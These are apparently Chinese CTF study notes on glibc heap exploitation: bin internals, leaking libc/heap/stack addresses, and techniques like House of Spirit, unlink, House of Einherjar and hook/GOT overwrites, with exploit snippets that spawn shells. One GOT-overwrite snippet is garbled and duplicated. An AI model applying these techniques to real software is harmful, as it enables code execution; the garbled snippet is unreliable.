堆漏洞利用

bin管理

libc2-26之后,加入Tcache(Thread Local Caching)bin,为每个线程创建一个缓存,里面包含了一些小堆块,无须对arena上锁即可以使用。每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,从0x20到0x410大小的chunk释放后都会先行存入到tcache bin中。

1
2
3
4
5
6
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS                64

每次产生堆都会先产生一个0x250大小的堆块

  • 前0x40个字节用于记录每个bins中chunk数量
  • 剩下的64条链,每8字节(64*8=0x210)记录一条tcache bin链(从0x20开始到0x410)的开头地址
  • 值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。

释放到unsorted bin方法:

  • 先填满对应大小的tcache bin,再释放
  • 分配和释放的chunk大于等于0x410字节,注意在释放堆块时要防止堆块和Top chunk合并

在程序malloc时,如果在fastbin,smallbin中找不到对应大小的chunk,就会尝试从unsortedbin链表尾部往回遍历寻找chunk。

  • 如果取出来的chunk大小刚好满足,就会直接返回给用户
  • 如果比需求长度大,就会切割,剩下的继续放回unsortedbin
  • 如果比需求长度小,就会把取出的chunk插入到对应的bin中(smallbin或largebin)

可以将unsortedbin理解为一个中转站,chunk只有在第一次不符合的时候才会被分配到对应的bin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
malloc/malloc.c
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2]; #define NBINS 128

typedef struct malloc_chunk* mchunkptr;
struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free, including head).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* point to next free chunk -- used only if free. */
  struct malloc_chunk* bk; //point to previous free chunk
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

bins 主要用于索引不同bin的fd和bk。

  1. 第一个为unsorted bin,这里面的chunk没有进行排序。
  2. 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。small bins 中每个 chunk 的大小:chunk_size = 2 * SIZE_SZ *index(SIZE_SZ=4(32 位)/8(64位))
  3. small bins 后面的 bin 被称作 large bins。一共包括 63 个large bin,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致。第一组bin可以存储的 chunk 的大小范围为 [512,512+64)。

根据源码,unsortedbin和smallbin的值保存在0x10偏移处,对应malloc_chunk结构的fd和bk,因此,smallbin[0x60]的值0x00007ffff7dd1bc8保存在0x70偏移处。

0x7ffff7dd1b78 <main_arena+88>:	    0x0000000000000000	0x0000000000000000 #unsortedbin
0x7ffff7dd1b88 <main_arena+104>:	0x00007ffff7dd1b78	0x00007ffff7dd1b78 #0x20
0x7ffff7dd1b98 <main_arena+120>:	0x00007ffff7dd1b88	0x00007ffff7dd1b88 #0x30
0x7ffff7dd1ba8 <main_arena+136>:	0x00007ffff7dd1b98	0x00007ffff7dd1b98 #0x40
0x7ffff7dd1bb8 <main_arena+152>:	0x00007ffff7dd1ba8	0x00007ffff7dd1ba8 #0x50
0x7ffff7dd1bc8 <main_arena+168>:	0x00007ffff7dd1bb8	0x00007ffff7dd1bb8 #0x60
0x7ffff7dd1bd8 <main_arena+184>:	0x00007ffff7dd1bc8	0x00007ffff7dd1bc8 #0x70

unsortedbin采用的遍历顺序是FIFO(Tcache和fastbin是LIFO,其他的bin都是FIFO),即插入的时候插入到unsortedbin的头部,取出的时候从链表尾获取

先free(chunk0)再free(chunk1),->表示fd:

fastbin:fastbinY[x] = chunk1 -> chunk0-> 0x0

unsortedbin: all = chunk1 -> chunk0 -> 0x7ffff7dd1b78 (main_arena+88)

开启stack canary

  • canary 被修改的话,程序就会执行__stack_chk_fail函数来打印 argv[0] 指针所指向的字符串,通过栈溢出将argv[0]的指针覆盖为要泄漏的指针地址,实现信息泄露(sample:smashes
  • 覆盖__stack_chk_fail函数的got表地址为system(sample:memory_monsterI,BJDctf-2020)
  • stack前放置cookie,leak canary,通过printf泄漏,canary一般从00开始,设置偏移从第二位开始printf

开启pie保护

  • 由于低12位地址是与libc相同的,因此如果某个地方如果保存着某个libc指针如read(0x250),可以仅覆盖最低位为(0x2b0)将其修改为write调用

  • 查找程序中保存已知偏移的函数指针,如sub_B30,通过chunk重叠之类的泄漏方式,打印出函数指针的真实值,减去偏移,即可得code段基地址,通过elf.address设置基地址,余下就是常规操作了。(sample:opm

    1
    2
    3
    4
    #0000000000000B30 show_chunk_B30  proc near  
    code_base = show_chunk_addr-0xb30
    elf.address=code_base #设置基地址
    success('atoi_got: '+hex(elf.got['atoi'])) #基于基地址打印某个函数的got地址值
    
  • 利用unsortedbin泄漏main_arena,从而得到libc_base

  • 利用栈上返回地址保存着的__libc_start_main+240(main函数是通过libc中的__libc_start_main调用,因此调用链中会保存__libc_start_main调用main函数的下一条语句,即__libc_start_main+240),得到libc_base

    1
    2
    3
    4
    5
    6
    7
    8
    9
    .text:00000000004006BD                 mov     rdi, offset main ; main
    .text:00000000004006C4                 call    ___libc_start_main
    #─────────────────────────────────[BACKTRACE]────────────────────────────────
    #f5     7f6a7ecbb830 __libc_start_main+240
    libc_base = start_main - (libc.symbols['__libc_start_main'] + 240) #240=0xF0
    libc_base = start_main - libc.symbols['__libc_start_main_ret']
    因为在libc中两者差0xF0当libc没有导出__libc_start_main_ret时可采用__libc_start_main+240的方式
    __libc_start_main       20740
    __libc_start_main_ret   20830
    
  • 利用fastbin泄漏chunk,从而得到heap_base

劫持程序流方式

利用程序漏洞

  • 程序中某些字段保存函数指针,直接覆盖(仅用于有函数指针情形,偶尔使用)
  • C++对象的虚函数表指针位于每个对象开始,通过堆溢出覆盖虚函数表为预先控制的shellcode(sample:myzoo-安恒月赛-2018-10)

仅仅开启partial RELRO

  • 已知栈地址,覆盖栈上保存的函数返回地址(不常用)
  • 覆盖某个函数(如free)的got表值(常用)

开启了FULL RELRO,无法覆盖GOT表

修改__free_hook或者__malloc_hook(sample:stkof)
  1. 直接任意地址覆盖
    1
    2
    3
    4
    5
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one_gadget = libc_base + 0xf1147 #0xf02a4 also works
    edit(3, p64(malloc_hook))
    edit(0, p64(one_gadget)) # 将malloc_hook改写为one_gadget
    add(0x100, wait=False) #调用malloc即调用malloc_hook即one_gadget来get shell
    
  2. 借助house_of_spirit 注意:__malloc_hook刚好处于main_arena-0x10位置,而malloc_hook-(0xb10 - 0xaf5 + 0x8 = 0x23)0x13处一般可以伪造出0x7f的fast chunk用于house_of_spirit:
    0x7f5090e2daf0 <_IO_wide_data_0+304>:	0x00007f5090e2c260	0x0000000000000000
    0x7f5090e2db00 <__memalign_hook>:	0x00007f5090aeee20	0x00007f5090aeea00
    0x7f5090e2db10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
    0x7f5090e2db20 <main_arena>:	0x0000000000000000	0x0000000000000000
    

    将块分配到__malloc_hock前,即可以调用修改chunk功能,将__malloc_hook修改为one_gadget。

    1
    2
    3
    4
    5
    payload = 'a' * 0x18 + p64(0x7f) + p64(malloc_hook - 0x23)
    add(0xf8, payload) #1
    add(0x68, '') #2
    payload = '\0' * 0x13 + p64(one_gadget)
    add(0x68, payload)
    

覆盖__malloc_hook,__free_hook函数返回地址除了可以覆盖为system_addr,还可以借助工具:one_gadget,可以直接调用,而无需传入参数’/bin/sh’,但由于对寄存器或者栈空间有限制,如:[rsp+0x70] == NULL,因此可能需要多试几个:

1
2
3
4
5
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l 2 #level
one_gadget_offset1 = 0x45216 #rax == NULL
one_gadget_offset2 = 0x4526a #[rsp+0x30] == NULL
one_gadget_offset3 = 0xf02a4 #[rsp+0x50] == NULL
one_gadget_offset4 = 0xf1147 #[rsp+0x70] == NULL

注意:一般malloc触发的方式,one_gadgets由于限制条件不满足,执行都不会成功,通过如下方式检验:

pwndbg> p __malloc_hook
$1 = (void *(*)(size_t, const void *)) 0x7f7c7db082a4 <exec_comm+1140>
或者直接程序打印:one_gadget= 0x7f7c7db082a4
pwndbg> b *0x7f7c7db082a4 #设断点于one_gadget
Breakpoint 1 at 0x7f7c7db082a4: file wordexp.c, line 876.
Breakpoint at 0x7f7c7db082a4
RAX  0x7f7c7db082a4 #rax为RIP,不为NULL,不满足one_gadget1
pwndbg> x/30gx $rsp #检验rsp+0x30/0x50/0x70是否为NULL

因此,需要通过以下两种方式执行one_gadget:(sample:secretgarden-Pwnable.tw)

  1. double free使程序出错,利用malloc_printerr触发__malloc_hook

  2. 结合libc_reallocrealloc_hook调整满足one_gadget条件的栈空间。覆盖malloc_hooklibc_realloc+0x10跳过某些指令,同时覆盖realloc_hook到one_gadget,当libc_realloc执行到realloc_hook时成功满足one_gadget条件

    0x7f25e04c5b08 <__realloc_hook>:	0x00007f25e01f12a4	0x00007f25e01856d0(malloc_hook)
    pwndbg> x/10i 0x00007f25e01856d0 - 0x10
       0x7f25e01856c0 <__GI___libc_realloc>:	push   r15
       0x7f25e01856c2 <__GI___libc_realloc+2>:	push   r14
       0x7f25e01856c4 <__GI___libc_realloc+4>:	push   r13
       0x7f25e01856c6 <__GI___libc_realloc+6>:	push   r12
       0x7f25e01856c8 <__GI___libc_realloc+8>:	mov    r13,rsi
       0x7f25e01856cb <__GI___libc_realloc+11>:	push   rbp
       0x7f25e01856cc <__GI___libc_realloc+12>:	push   rbx
       0x7f25e01856cd <__GI___libc_realloc+13>:	mov    rbx,rdi
       0x7f25e01856d0 <__GI___libc_realloc+16>:	sub    rsp,0x38 #从此处开始,忽略前面压栈操作
       0x7f25e01856d4 <__GI___libc_realloc+20>:	mov    rax,QWORD PTR [rip+0x33f8f5]
    断点到one_gadget时使栈满足one_gadget条件:
    pwndbg> x/20gx $rsp
    0x7ffc36cf38f8:	0x00007f25e01858ef	0x000000000000000a
    0x7ffc36cf3908:	0xffffffffffffffff	0x0000000005000000
    0x7ffc36cf3918:	0x00007ffc36cf3980	0x000055f729d75354
    0x7ffc36cf3928:	0x0000000000000000	0x00007ffc36cf3960 #满足gadget2:[rsp+0x30] == NULL
    0x7ffc36cf3938:	0x000055f729d74ce0	0x00007ffc00000000
    0x7ffc36cf3948:	0x0000000000000000	0x0000000000000000 #满足gadget3:[rsp+0x50] == NULL
    
libc中有一个全局变量__environ, 储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址(sample:tinypad

通过本地调试得到libc中environ symbol中存放的地址(环境变量栈地址),记为:stack_env

1
2
3
environ = libc_base + libc.symbols["__environ"]
environ: 0x7f6a7f061f38
stack_env address: 0x7ffce69aa7f8

通过本地调试的调用堆栈得到main返回地址的值:

─────────────────────────────────[BACKTRACE]────────────────────────────────
f0     7f6a7ed92260 __read_nocancel+7
f1           400ed9 _read_n+112
f2           401100 read_until+73
f3           400832 getcmd+92
f4           4009c1 main+350
f5     7f6a7ecbb830 __libc_start_main+240

利用pwndbg查找main返回地址在栈空间的地址:

1
2
pwndbg> search -p 0x7f6a7ecbb830
[stack]         0x7ffce69aa708 0x7f6a7ecbb830

计算环境变量栈地址和main函数返回地址的距离: 0x7ffce69aa7f8 - 0x7ffce69aa708 = 0xf0 由于每次运行时,两者距离为定值,因此运行时main函数返回地址可以通过运行时环境变量栈地址减两者距离。得到main返回地址后,将其覆盖为one_gadget即可:

1
2
3
main_ret address: stack_env - 0xf0
edit(p, 2, p64(stack_env-0xf0))
edit(p, 1, p64(one_gadget))
伪造vtable或利用FSOP劫持程序流

堆溢出

  • 如果chunk中保存着下一个chunk的指针,将其修改为某个函数的GOT值,再通过show chunk功能泄漏
  • 布置当前chunk,并溢出伪造下一个chunk的pre_size和size,free下一个chunk时,引起当前chunk unlink。(sample:stkof)

UAF(Use After Free)

原理:由于free后原指针没有置为NULL,可以通过原来指针直接访问

  • 可以通过show chunk功能泄漏heap addr
  • 如果原来某个字段是函数指针,可以直接覆盖为system指针

House_Of_Spirit

由于_int_malloc 中校验的方法:

1
2
3
4
5
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
}
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

只取(unsigned int) (sz),因此size字段只需要保证低32位范围处于0x20-0x80之间的值,高32位不作要求。 可借助pwndbg功能查找fake_fast:

1
2
3
pwndbg> find_fake_fast 0x7fd798586b10 0x7f
FAKE CHUNKS
0x7fd798586aed

在GOT表附近找错位范围0x20-0x80之间的值(sample:silent

一般而言,GOT表第一项为: 0x602000: 0x0000000000601e28(address of dynamic) 错位0x602002的低32位为:0x00000060,符合fastbin size范围,因此fake chunk为:0x602002 - 0x8 = 0x601ffa。利用double free fast bin,将第一个chunk的fd设置为fake chunk,当再次malloc时,即分配到fake chunk,一般步骤为:

1
2
3
4
5
6
7
8
9
10
11
12
add(0x50, '0')
add(0x50, '1')
delete(0)
delete(1)
delete(0) #fastbin list: 0->1->0
add(0x50, p64(fake_chunk)) #set 0.fd=fake chunk=0x601ffa
add(0x50, '3')
add(0x50, '4')
pay = '/bin/sh' # could be $0 or sh
pay = pay.ljust(free_got - (fake_chunk + 0x10),'
add(0x50, '0')
add(0x50, '1')
delete(0)
delete(1)
delete(0) #fastbin list: 0->1->0
add(0x50, p64(fake_chunk)) #set 0.fd=fake chunk=0x601ffa
add(0x50, '3')
add(0x50, '4')
pay = '/bin/sh' # could be $0 or sh
pay = pay.ljust(free_got - (fake_chunk + 0x10),'\0') + p64(system_plt)
add(0x50, pay)  #set free_got = system_plt
delete(2) # call free to get shell
') + p64(system_plt) add(0x50, pay) #set free_got = system_plt delete(2) # call free to get shell

将GOT表作为块分配使用之后:

  • 修改free_got为puts_plt即可以泄漏某个note
  • 通过show chunk功能泄漏fake chunk(GOT表)
  • 通过edit chunk功能将free_got改为system_addr或者system_plt

在__malloc_hook或__free_hook前面找错位范围0x20-0x80之间的值(sample:baby_heap-2017

一般而言,__malloc_hook前(0xb10-0xaf5)处可以错位出0x7f,因此fake chunk = malloc_hook - (0xb10 - 0xaf5 + 0x8)

0x7ff583cffaf0 <_IO_wide_data_0+304>: 0x00007ff583cfe260  0x0000000000000000 
0x7ff583cffb00 <__memalign_hook>: 0x00007ff5839c0e20  0x00007ff5839c0a00  
0x7ff583cffb10 <__malloc_hook>:   0x0000000000000000  0x0000000000000000

将块分配到__malloc_hock前,即可以调用修改chunk功能,将__malloc_hook修改为one_gadget。

Unlink(sample:silent2,stkof)

  1. 分配两个0x80(设index为:3和4,主要是为了预留出前面0,1,2用于chunklist-0x18),free第一个,再free第二个的时候,会和第一个合并,分配一个0x80*2 + 0x10= 0x110的fake chunk,则返回之前被free的两个chunk,即第一个chunk的地址。
  2. 找到chunklist中保存这个chunk的地址一般为:chunklist+0x18,将第一个chunk内容布置为: 0x0,0x81,chunklist+0x18-0x18,chunklist+0x18-0x10…0x80,0x90
  3. 利用之前没有清空的第二个指针将0x80,0x90再次free(需要程序存在UAF漏洞),此时会将fake chunk布置出来的第一个chunk(0x0,0x80)unlink,即将chunklist+0x18位置内容改写为chunklist+0x18-0x18=chunklist
  4. 再利用edit chunk(3)功能,将chunklist改写为某个函数(一般为free)的GOT地址
  5. 再利用edit chunk(0)功能,将该free_got先修改为puts_plt,将另一个chunk改为puts_got,将puts_got泄漏,然后再将free_got改为system_plt或者system_addr。 根据how2heap,fake chunk的值为0x0, 0x81或者:0x0,0x0均可绕过检查,因为检查:
    1
    (chunksize(P) != prevsize (next_chunk(P)) == False
    

    当fake chunk的size是0,也就是在去找一个chunk的presize的时候,由于P+size=P+0,实际上找到的是fake chunk自身的presize,由于两个都是0,自然就是相等的,参考:how2heap总结-上

附:free进行后向合并(合并低地址的chunk)的代码:

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size(p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(av, p, bck, fwd);
}

unsortbin泄漏main_arena

参考:UAF获取main_arena地址泄露libc基址

  1. 释放时只释放content,不释放header。可以申请一个大content,然后释放,下一个申请header+content=上一个content,即上一个content会被分割,然后通过下一个content泄漏unsortedbin地址(sample:raisepig
    1
    2
    3
    4
    add(0x100,'a','0') #4
    add(0x100,'b','1')#5
    free(4)
    add(0xd0,'c','3')  #6 4 -> 0x30 (0x28) header & 0xe0 (0xd0)
    
  2. fastbin为空时,unsortbin的fd和bk指向top chunk地址
  3. 先分配两个fast chunk,再分配一个非fast chunk,按2->1->3顺序释放:
    1
    2
    3
    4
    5
    6
    add(0x70)  # idx 1
    add(0x70)  # idx 2
    add(0x100)  # idx 3
    delete(2)  # delete idx 2
    delete(1)  # fastbin: 1->2
    delete(3)
    

    会引起chunk 1/2/3均和top chunk合并,chunk1的fd和bk指向top chunk:

    0x1461000:	0x0000000000000000	0x0000000000021001 <-1
    0x1461010:	0x00007f6abcc3cb78	0x00007f6abcc3cb78
    0x1461080:	0x0000000000000080	0x0000000000000080 <-2
    0x1461090:	0x0000000000000000	0x0000000000000000
    0x1461100:	0x0000000000000000	0x0000000000020f01 <-3
    0x1461210:	0x0000000000000000	0x0000000000020df1 <-old top chunk
    

这个top chunk指针保存在main_arena的0x58(88)偏移处,而main_arena保存在libc的data段中,是全局静态变量,所以偏移是固定的。可以通过以下方式泄漏出来:

  1. UAF
    1
    2
    3
    add(0x80)
    free(0) #此时之前malloc的地址会被写上fd和bk
    show(0) #利用show chunk功能打印出fd(即top chunk地址)
    
  2. 如果原地址free后被置为NULL,则可以通过fastbin和堆溢出,构造一个fast chunk指向这个small chunk,再通过fast chunk泄漏。(sample:baby_heap-2017
    1
    2
    3
    4
    5
    6
    7
    alloc(0x20)  #0
    alloc(0x20)  #1
    alloc(0x20)  #2
    alloc(0x20)  #3 
    alloc(0x80)  #4
    free(1)  
    free(2) #fastbin: 2 -> 1
    

    通过堆溢出将fastbin的fd修改指向4,这里用到技巧只覆盖低位,这样就无需知道chunk4的完整地址:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    payload  = p64(0)*5  + p64(0x31) + p64(0)*5 + p64(0x31) + p8(0xc0)  #fake fastbin: 2 -> 4
    fill(0, payload)
    payload  = p64(0)*5 + p64(0x31)
    fill(3, payload)  #fake size of 4 to 0x31
    alloc(0x20)  #new 1
    alloc(0x20)  #new 2 == 4
    payload  = p64(0)*5 + p64(0x91)
    fill(3, payload) #change size of 4 back to 0x91
    alloc(0x80) #avoid consolidating the top chunk
    free(4)  #free 4 to unsorted bin
    dump(2)  #since 2 == 4, dump 2 means dumping fd of unsorted bin in 4
    
  3. 如果原地址无法打印,可以通过堆溢出覆盖chunk的bk指向某个可以打印的地址,当malloc掉该chunk时,这个可打印地址的fd会被更新为top chunk(参考how2heap的unsorted_bin_attack):
    1
    2
    3
    4
    5
    p=malloc(0x80)
    malloc(0x80) #防止被合并
    free(p)
    p[1] = (unsigned long)(&target_addr-2);
    malloc(0x80) #target_addr会被写入top chunk指针,将target_addr输出即可
    

假如输出的top chunk指针为:0x7f74eb3f3b78 (main_arena+88),通过IDA打开libc.so寻找malloc_trim函数:

1
v23 = (volatile signed __int32 *)&dword_3C4B20; //此为main_area在libc中的偏移

因此libc_base = 0x7f74eb3f3b78 - 88 - 0x3C4B20 泄漏libc_base后,可以常规采用覆盖free_got为system_addr的方式,也可以将free_hook或malloc_hook覆盖为system_addr

1
2
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

将__free_hook的值改写为system_addr,即可以在调用free时调用system,同理__malloc_hook。

Arbitrary Alloc

观察要控制的__malloc_hook(堆)或者栈上可以错位构造出一个合法的size值的位置,对当前分配的chunk:

1
2
3
4
free(chunk);
chunk = target_addr; //对fastbin列表的fd赋值
chunk = malloc();
target = malloc();   //此时分配到的即为target_addr

Alloc to Stack

栈中如果伪造fake_chunk,设置好fake_chunk的size和fastbin chunk的size相等,劫持fastbin链表中的fd指向该fake_chunk,即可实现fastbin attack时将空间分配到栈上的这个fake_chunk,此时如果可以读入足够多的字节则可以覆盖到栈上的ret address。覆盖字节到read函数的返回地址,不要覆盖到原函数的返回地址,防止触发canary。(sample:secretgarden-Pwnable.tw)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
'''
environ_addr= 0x7fff9132ccb8
设断点于调用read: 0x55e9df4c0d82    call   0x55e9df4c09f8(read)
RSP  0x7fff9132cb60(此时的rsp - 0x8处即为read的返回地址存放位置)
0x7fff9132cb10:	0x0000000000000060	0x000055e9df4c0a60 (fake_chunk start at 0x1d)
0x7fff9132cb20:	0x00007fff9132cca0	0x0000000000000000
0x7fff9132cb30:	0x0000000000000000	0x00007f4f3f95c184
0x7fff9132cb40:	0x000055e9df4c1354	0x0000000000000000
0x7fff9132cb50:	0x00007fff9132cb80	0x000055e9df4c0d71 #return_addr for read
0x7fff9132cb60:	0x00007fff00000060	0x000055e9e01cb3b0
'''
add(0x60, p64(environ_addr - 0x7fff9132ccb8 + 0x7fff9132cb1d)) #b = 1, set fd = malloc_hook - 0x13
add(0x60, 'c')
add(0x60, 'd') #7 = 1
add(0x60, 'e'*(3+0x28) + p64(pop_rdi_ret) + p64(binsh) + p64(system), True) #rop

前提:

  1. 需要泄漏栈地址(通过程序漏洞或者输出libc的__environ
  2. 栈上可以预先布置满足fast_chunk的size字段,一般可以利用readnum功能,因为atoi(p64(0x7f))=0,不会影响正常逻辑(smallorange-安恒月赛-2018-12)

NULL byte Off_By_One

覆盖已free chunk的size,使得虚假位置的pre_size被更新:

1
2
3
4
5
6
7
8
uint8_t* a = malloc(0x100);
uint8_t* b = malloc(0x200);
uint8_t* c = malloc(0x100);
free(b) //c的pre_size会被更新为0x210
a[real_a_size] = 0; //通过NULL byte off_by_one将b的size从0x210改为0x200
(size_t)(b+0x1f0) = 0x200; //伪造prev_size(next_chunk(P))=*(b-0x10+0x200)==size(P)=200
b1 = malloc(0x100); //b1=b,并且由于上一步的伪造,更新pre_size是在b+0x1f0处(被更新为0x200-0x10-0x100=0x90),而不是c的真实pre_size位置
b2 = malloc(0x80); //这个一般就是我们可以利用的地址

之后将b1(b)和c依次free,则会导致b开始一直到c末尾的内存合并在一起

1
2
3
free(b);
free(c);
d = malloc(0x300); //d=b1=b,重要的是刚才没有free的b2被包含在了里面!

会引起b和c合并的关键一步是在free(b)使得c的pre_size被更新为0x210后,通过NULL byte off_by_one将伪造next_chunk(P)的pre_size位置设置在b+0x1f0,使得后面b1和b2的malloc更新pre_size(next_chunk(P))时,更新的位置均在b+0x1f0,而真实的pre_size(c)一直都是0x210。因此当最后free(c)时检查的是c的presize位,会认为前面的0x210都是空闲,于是就错误地将b和c进行了合并,从而实现了b2和d的overlap。

House_Of_Einherjar

覆盖当前chunk的pre_inuse标志为零,让free函数以为上一个chunk已经被free,这就要求了当前chunk的size必须要是0x100的倍数,否则需要保证下一个chunk(P+0x100)的size不为0,要不然会check下一个chunk失败,或者和top chunk进行合并操作的时候失败。

1
2
3
a = (uint8_t*) malloc(0x38);
b = (uint8_t*) malloc(0xf8); #bsize0x101
a[real_a_size] = 0; #通过off_by_onebsize改为0x100
  1. 在目标地址伪造fake chunk,保证fake chunk的fd/bk指向自己,同时fd_nextsize=0,以绕过unlink检查:
    1
    2
    3
    4
    size_t fake_chunk[6];
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    fake_chunk[4] = (size_t) 0; //fwd_nextsize
    

    计算当前chunk到fake chunk之间的距离x,将当前chunk的pre_size和fake chunk的size设置为x

    1
    2
    3
    size_t fake_size = (size_t)((b-sizeof(size_t)2) - (uint8_t)fake_chunk);
    (size_t)&a[real_a_size-sizeof(size_t)] = fake_size; //pre_size of b
    fake_chunk[1] = fake_size; //size of fake chunk
    

    free当前chunk即可以引起fake chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置到我们伪造chunk的地址,当再次malloc即可从fake chunk处分配空间

    1
    2
    free(b);
    d = malloc(0x200); //d == fake chunk
    

    和House_Of_Force一样,利用这种方式可以用malloc返回一个任意地址,即使是heap区域之前的地址(一般可以考虑覆盖栈的ret addr或者free_got)。前提是:

    1. 可以控制目标地址前0x18个字节布置fd/bk/fd_nextsize以绕过unlink检查,除非目标地址刚好有连续两个指针指向自己(现成的fd/bk)。
    2. 知道当前chunk(即heap地址)用于计算相对距离。
  2. 类似方法1,在目标地址伪造fake chunk,保证fake chunk的fd/bk指向自己,同时保证fake chunk的size处于small chunk范围,且fakechunk+size处的pre_size==fake chunk的size,即可将unsortedbin伪造到fake chunk(sample:tinypad)
      0x602060 <tinypad+32>:	0x0000000000000000	0x0000000000000101
      0x602070 <tinypad+48>:	0x0000000000602060	0x0000000000602060
      0x602160 <tinypad+288>:	0x0000000000000100	0x0000000002066140
      0x1bea020(heap): 0x00000000015e7fc0	0x0000000000000100 <-off_by_one
    

    free(0x1bea020 + 0x10)即引起fake chunk unlink,并且和当前chunk合并:

      0x602060 <tinypad+32>:	0x0000000000000000	0x00000000015e80c1 <-和0x1bea020合并
      0x602070 <tinypad+48>:	0x00007fc5d7c9db78	0x00007fc5d7c9db78(main_area+88)
    

    对比:方法1直接控制top chunk,因此要求free的chunk必须与top chunk相邻,并且由于fake chunk的size过大,需要覆盖fwd_nextsize为0。而2只控制unsortedbin,因此不要求free的chunk与top chunk相邻,不需要覆盖fwd_nextsize,但是需要保证fakechunk+size处的pre_size==fake chunk的size(即*0x602068 == *0x602160),难度比1更高。

  3. 覆盖pre_size为上一个chunk的size:
    1
    (size_t)&a[real_a_size-sizeof(size_t)] = 0x40
    

    伪造上一个chunk的fd和bk指向自己以绕过unlink检查,由于上一个chunk大小处于small chunk范围,无需伪造fd_nextsize:

    1
    2
    (size_t)&a[0] = (size_t) a-0x10; // fwd
    (size_t)&a[1] = (size_t) a-0x10; // bck
    

    由于PREV_INUSE位为0,会认为上一个0x40长度的chunk也是free,free当前chunk会引起上一个chunk unlink(触发unlink attack),并且上一个chunk和当前chunk合并,当再次malloc,可以实现overlap:

    1
    2
    free(b)
    c = malloc(0x130) //c == a,实现c和a的overlap
    

附unlink时检查fd_nextsize代码:

1
2
3
4
5
if (!in_smallbin_range (chunksize_nomask (P))                         \
  && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
      || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
      malloc_printerr ("corrupted double-linked list (not small)");   \

House_Of_Lore(smallbin malloc伪造)

栈上分配两个数组:

1
2
intptr_t* stack_buffer_1[4] = {0};  
intptr_t* stack_buffer_2[3] = {0};

分配victim chunk,并申请一块大内存,防止free时victim chunk被合并:

1
2
victim = malloc(0x80)
void *p5 = malloc(1000);

现在把victim chunk给free掉,它会被放入unsortedbin中。放入unsortedbin之后victim chunk的fd和bk会同时指向unsortedbin的头部:

1
free((void*)victim);

再申请一个不能被unsortedbin和smallbin响应的malloc。

1
void *p2 = malloc(1200);

malloc之后victim chunk将会从unsortedbin转移到smallbin中。同时它的fd和bk也会更新,改为指向smallbin的头部。现在假设发生了溢出改写了victim的bk指针:

1
2
3
4
victim[1] = (intptr_t)stack_buffer_1; // victim->bk point to buffer_1
stack_buffer_1[2] = victim-2; //buffer_1->fd pointing to victim
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; //buffer_1->bk point to buffer_2
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; //buffer_2->fd point to buffer_1

因此现在伪造出来的smallbin列表是:buffer_2 -> buffer_1 -> victim,当再次开始malloc small size内存块时:

1
2
p3 = malloc(0x80); //p3 = victim
p4 = malloc(0x80); //p4 = buffer_1[2]

可以看到stack_buffer_2的bk字段是空着的,那是因为我们这时没有进行信息的泄露,如果泄露出smallbin_head的值并填上去的话,这个链表才算是完整,当然如果没必要的话可以不这样做。尽管之后再针对这个smallbin的malloc会报错。 利用本方法可以通过伪造smallbin,使得下一个chunk分配到目标地址,比如分配到栈上,可以进一步覆盖ret addr。

1
2
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8);  //直接覆盖ret addr为jackpot,以绕过canary检查

但这种利用方式的难点在于:需要目标地址上预先布置好fd指向victim chunk,bk指向下一个chunk,下一个chunk的fd指向目标地址。因此,只有在可以控制目标地址少量(至少0x10个字节,需要控制fd和bk)时方可使用(但如果可以控制0x10个字节,优先考虑house_of_spirit的fastbin伪造,毕竟只需要伪造0x4个字节伪造出size即可,仅当分配大小fastbin无法满足时,方考虑本方法)

Overlapping_Chunks

  1. chunk在被free之后,直接修改size字段,可以将修改后size大小的chunk malloc出来。
    1
    2
    3
    4
    5
    6
    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);
    free(p2);
    *(p2-1) = 0x181; // we are overwriting the "size" field of chunk p2
    p4 = malloc(0x180 - 8); //p4 = p2,并且包含了p3
    

    说明对于unsortedbin,只需要覆盖free chunk的size即可伪造下一次malloc的chunk

  2. chunk被free之前,通过修改size,然后free,欺骗free函数去修改了下一个chunk的presize字段来强行“合并”堆块。
    1
    2
    3
    4
    5
    6
    7
    p1 = malloc(1000);
